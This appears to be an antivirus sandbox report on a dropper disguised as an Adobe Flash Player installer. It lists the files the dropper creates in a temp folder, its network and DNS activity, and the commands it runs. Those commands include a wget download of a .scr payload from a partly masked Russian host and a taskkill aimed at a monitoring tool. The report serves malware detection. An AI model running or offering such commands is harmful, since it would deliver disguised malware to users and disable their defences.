Technical Information
- '%TEMP%\7ZipSfx.000\Adobe.Flash.Player.16.0.scr'
- '%TEMP%\7ZipSfx.000\wget.exe' http://fo##oh.ru/files/Adobe.Flash.Player.16.0.scr
- '%TEMP%\7ZipSfx.000\Adobe.Flash.Player.16.0.scr' (downloaded from the Internet)
- '<SYSTEM32>\taskkill.exe' /f /im anvir.exe
- '<SYSTEM32>\wscript.exe' "%TEMP%\7ZipSfx.000\error.vbs"
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\7ZipSfx.000\install.cmd" "
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\adobe[1]
- %TEMP%\7ZipSfx.000\Adobe.Flash.Player.16.0.scr
- %TEMP%\7ZipSfx.000\wget.exe
- %TEMP%\7ZipSfx.000\error.vbs
- %TEMP%\7ZipSfx.000\install.cmd
- %TEMP%\7ZipSfx.000\install.cmd
- %TEMP%\7ZipSfx.000\wget.exe
- %TEMP%\7ZipSfx.000\Adobe.Flash.Player.16.0.scr
- %TEMP%\7ZipSfx.000\error.vbs
- 'fo##oh.ru':80
- 'ad##e.com':80
- 'localhost':1036
- fo##oh.ru/files/Adobe.Flash.Player.16.0.scr
- ad##e.com/
- DNS ASK fo##oh.ru
- DNS ASK ad##e.com
- ClassName: 'MS_AutodialMonitor' WindowName: '(null)'
- ClassName: 'MS_WebcheckMonitor' WindowName: '(null)'
- ClassName: '(null)' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: '' WindowName: '(null)'
- ClassName: 'IEFrame' WindowName: '(null)'